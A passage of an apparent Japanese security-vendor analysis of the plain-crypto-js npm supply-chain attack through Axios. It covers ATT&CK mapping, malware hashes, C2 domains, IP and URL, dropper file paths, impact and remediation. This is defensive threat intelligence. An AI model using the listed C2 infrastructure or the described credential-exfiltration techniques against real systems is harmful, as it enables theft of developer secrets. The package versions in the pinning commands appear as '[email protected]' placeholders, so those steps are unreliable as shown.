- ダイアグラムは矢印を使用して、初期化から最終的なペイロード実行までのステップバイステップ シーケンスを示します。
- 各ステップにはメイン アクションと簡潔な説明がラベル付けされています。
- 色分けはステージの分離に役立ちます:
- オレンジ: 初期化
- 青: 偵察
- 緑: OS 固有のロジック
- 赤: ペイロード 実行
このダイアグラムは、難読化、環境検出、動的ペイロード ビルディング、OS 固有の実行がどのように組み合わされて、Windows、macOS、および Linux システム全体でステルス感染を実現するかの完全な視覚的概要を提供します。
MITRE ATT&CK マッピング
| タクティック | テクニック | 説明 |
|---|---|---|
| 初期アクセス | サプライチェーン 侵害(T1195) | Axios 経由で挿入された悪意のある npm 依存関係 |
| 実行 | コマンド および スクリプト インタープリター(T1059) | PowerShell、Bash、Python 実行 |
| 永続化 | スケジュール済み/隠蔽実行 | nohup、隠蔽 PowerShell 経由のバックグラウンド実行 |
| 防御 回避 | 難読化ファイル(T1027) | XOR + Base64 + シンボル置換 |
| 認証情報アクセス | 認証情報 ダンピング(T1003) | トークン、SSH キー、env シークレット の盗難 |
| 検出 | システム 情報 検出(T1082) | os.platform()を使用した OS 検出 |
| コマンド & コントロール | アプリケーション層 プロトコル(T1071) | C2 サーバーへの HTTP POST |
| 流出 | Web 経由の流出(T1041) | curl POST リクエスト経由で送信されるデータ |
侵害の指標(IOC)
plain-crypto-jsの影響を検出するために、セキュリティ チームと開発者を支援するため、次の IOC が識別されました:
ファイル ハッシュ
| SHA256 | 検出 | 説明 |
|---|---|---|
| e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 | Trojan.JS.AXIOSDROP.THCCABF | setup.js — RAT ドロッパー([email protected] postinstall ペイロード) |
| fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf | Backdoor.Python.AXIOSRAT.THCCABF | ld.py — Linux Python RAT |
| f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd | Trojan.PS1.AXIOSDROP.THCCABG | system.bat — Windows ファイルレス ローダー |
| ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c | Backdoor.PS1.AXIOSRAT.THCCABF | 6202033.ps1 — PowerShell RAT |
| 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 | Backdoor.PS1.AXIOSRAT.THCCABF | 6202033.ps1 — PowerShell RAT |
悪意のある npm パッケージ
| パッケージ | SHA-1 |
|---|---|
| [email protected] | 2553649f2322049666871cea80a5d0d6adc700ca |
| [email protected] | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 |
| [email protected] | 07d889e2dadce6f3910dcbc253317d28ca61c766 |
ネットワーク インジケーター
| インジケーター | 値 |
|---|---|
| C&C ドメイン | sfrclak[.]com |
| C&C ドメイン | callnrwise[.]com |
| C&C IP | 142.11.206[.]73 |
| C&C URL | http://sfrclak[.]com:8000/6202033 |
| POST ボディ(macOS) | packages.npm.org/product0 |
| POST ボディ(Windows) | packages.npm.org/product1 |
| POST ボディ(Linux) | packages.npm.org/product2 |
ファイル システム アーティファクト
| プラットフォーム | パス |
|---|---|
| macOS | /Library/Caches/com.apple.act.mond |
| Windows(永続的) | %PROGRAMDATA%\wt.exe |
| Windows(一時的) | %TEMP%\6202033.vbs, %TEMP%\6202033.ps1 |
| Linux | /tmp/ld.py |
影響
plain-crypto-js サプライチェーン 攻撃は、オープンソースエコシステムとエンタープライズ環境の両方に重大な影響を与えました:
- 広範な暴露
- Axios は最も人気のある JavaScript HTTP ライブラリの 1 つであり、数千のプロジェクト全体で間接的に侵害されました。
- 暴露期間中に Axios とその依存関係をインストールしたプロジェクトは感染のリスクがありました。
- データ流出のリスク
- 攻撃者は RAT ペイロード経由で API キー、環境変数、システム認証情報などの機密情報をキャプチャできました。
- 継続的インテグレーション(CI)環境と開発者マシンは、ステルス的なデータ盗難の主要なターゲットでした。
- クロスプラットフォーム脅威
- 複数の RAT 亜種が macOS(com.apple.act.mond)、Windows(6202033.ps1、system.bat)、および Linux(ld.py)に影響を与え、オペレーティング システム全体でのリモート制御を可能にしました。
- 永続的な侵害の可能性
- Postinstall フックとファイルレス ローダーにより、攻撃者は初期インストール後も アクセスを維持でき、クリーンアップが困難になりました。
- 見落とされた痕跡は、システムを再び感染させるか、後で認証情報を流出させる可能性があります。
- サプライチェーン整合性が損なわれた
- このインシデントは、単一の悪意のある依存関係が数千のダウンストリーム プロジェクトを侵害できるソフトウェア サプライチェーンの脆弱性を強調しています。
修復手順
plain-crypto-js への暴露から環境を保護および復旧するには、次の推奨アクションに従ってください:
- Axios を安全なバージョンに固定
- npm install [email protected](1.x)または npm install [email protected](0.x)を使用して、悪意のあるバージョンをプルしないようにします。
- package.json でオーバーライド(npm)またはリゾルューション(yarn/pnpm)を追加して、推移的な解決を安全でないバージョンに防止します。
- 悪意のあるパッケージを削除
rm -rf node_modules/plain-crypto-js
npm install –ignore-scripts
- RAT アーティファクトを慎重に処理
- RAT アーティファクト(setup.js、ld.py、6202033.ps1、system.bat など)が見つかった場合、その場でクリーニングしないでください。
- 既知の良好な状態から環境を再構築して、再感染を防止します。
- すべての認証情報をローテーション
- 流出した可能性のある npm トークン、AWS キー、SSH キー、CI/CD シークレット、.env 値を置き換えます。
- CI/CD パイプラインを監査
- 暴露期間中に npm install を実行したワークフローを特定します。
- それらのパイプラインに挿入された可能性のあるすべてのシークレットをローテーションします。
- C2 インフラストラクチャをブロック
- ネットワーク/DNS レベルでコマンド制御ドメインと IP をブロックします:
- sfrclak.com
- callnrwise.com
- IP: 142.11.206.73
- ネットワーク/DNS レベルでコマンド制御ドメインと IP をブロックします:
- 安全なインストール ポリシーを実行
- CI/CD で npm ci –ignore-scripts を使用して、信頼されていないパッケージからの postinstall スクリプト実行を防止します。
- 依存関係スキャン ツールと npm 監査ポリシーを検討して、疑わしい更新を自動的にフラグ付けします。
結論
plain-crypto-js インシデントは、npm ライフサイクル フック、難読化、クロスプラットフォーム実行を活用したサプライチェーン 侵害の教科書的な例です。これは、Axios のような信頼できるパッケージでさえ、リモート制御、認証情報盗難、永続的なマルウェアのベクトルになる可能性があることを強調しています。
組織はすべてのパッケージのインストールを潜在的に敵対的と見なすべき、厳密な CI/CD 制御を実行し、認証情報のハイジーンを維持する必要があります。プロアクティブな監視、依存関係固定、IOC ベースの検出は、将来同様の攻撃を軽減するために不可欠です。